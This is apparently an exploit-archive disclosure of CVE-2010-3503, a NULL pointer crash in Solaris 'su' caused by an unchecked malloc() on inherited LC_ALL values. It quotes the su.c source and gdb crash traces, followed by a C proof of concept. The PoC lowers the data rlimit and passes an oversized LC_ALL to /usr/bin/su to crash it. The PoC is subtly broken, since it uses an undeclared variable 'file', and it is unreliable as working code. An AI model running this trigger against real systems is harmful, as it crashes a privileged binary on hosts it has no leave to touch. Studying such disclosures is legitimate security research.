Oracle Solaris su NULL Pointer

`From http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/su/su.c  
  
521 for (j = 0; initenv[j] != 0; j++) { [1]  
522 if (initvar = getenv(initenv[j])) { [2]  
...  
535 } else {  
536 var = (char *)  
537 malloc(strlen(initenv[j]) [3]  
538 + strlen(initvar)  
539 + 2);  
540 (void) strcpy(var, initenv[j]); [4]  
  
'su' when creating new environment from inherited environment inherits values defined  
such as LC_ALL and TZ, the call at [1] walks over an array of values to inherit and  
then at [2] when it finds one it does some checks if its not TZ= e.g. LC_ALL it passes  
the variable into a controllable malloc() [3] WITH NO CHECKING ON RETURNED VALUE, this  
means if malloc() fails it could return 0x0 and pass to strcpy() at [4] introducing  
a null ptr vulnerability in 'su'.  
  
  
Program terminated with signal 11, Segmentation fault.  
#0 0xd1244734 in ?? ()  
(gdb) x/i $pc  
0xd1244734: mov %eax,(%edi)  
(gdb) i r $eax  
eax 0x415f434c 1096762188 <- OUR STRING  
(gdb) i r $edi  
edi 0x0 0 <- NULL PTR  
  
Incurred fault #6, FLTBOUNDS %pc = 0xD1244734  
siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000  
Received signal #11, SIGSEGV [default]  
siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000  
  
  
----[ PoC trigger 'su' as you.  
/* Sun Solaris <= 10 'su' NULL pointer exploit  
===========================================  
because these are so 2009 now. I would exploit  
this but my name is not spender or raptor. Sun  
do not check a call to malloc() when handling  
environment variables in 'su' code. They also  
don't check passwords when using telnet so who  
cares? You have to enter your local user pass  
to see this bug. Enjoy!  
  
admin@sundevil:~/suid$ ./x  
[ SunOS 5.11 'su' null ptr PoC  
Password:  
Segmentation Fault  
  
-- prdelka  
*/  
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/resource.h>  
#include <sys/fcntl.h>  
#include <sys/types.h>  
#include <sys/mman.h>  
  
struct {  
rlim_t rlim_cur; /* current (soft) limit */  
rlim_t rlim_max; /* hard limit */  
} rlimit;  
  
int main(int argc,char *argv[]){  
int fd;  
struct rlimit* rlp = malloc(sizeof(rlimit));  
getrlimit(RLIMIT_DATA,rlp);  
char* buf1 = malloc(300000);  
memset(buf1,'A',300000);  
long buf2 = (long)buf1 + 299999;  
memset((char*)buf2,0,1);  
memcpy(buf1,"LC_ALL=",7);  
rlp->rlim_cur = 16400;  
setrlimit(RLIMIT_DATA,rlp);  
char* env[] = {buf1,file,NULL};  
char* args[] = {"su","-",getlogin(),NULL};  
printf("[ SunOS 5.11 'su' null ptr PoC\n");  
execve("/usr/bin/su",args,env);  
}  
  
  
// This was disclosed and patched in October 2010, CVE-2010-3503   
  
`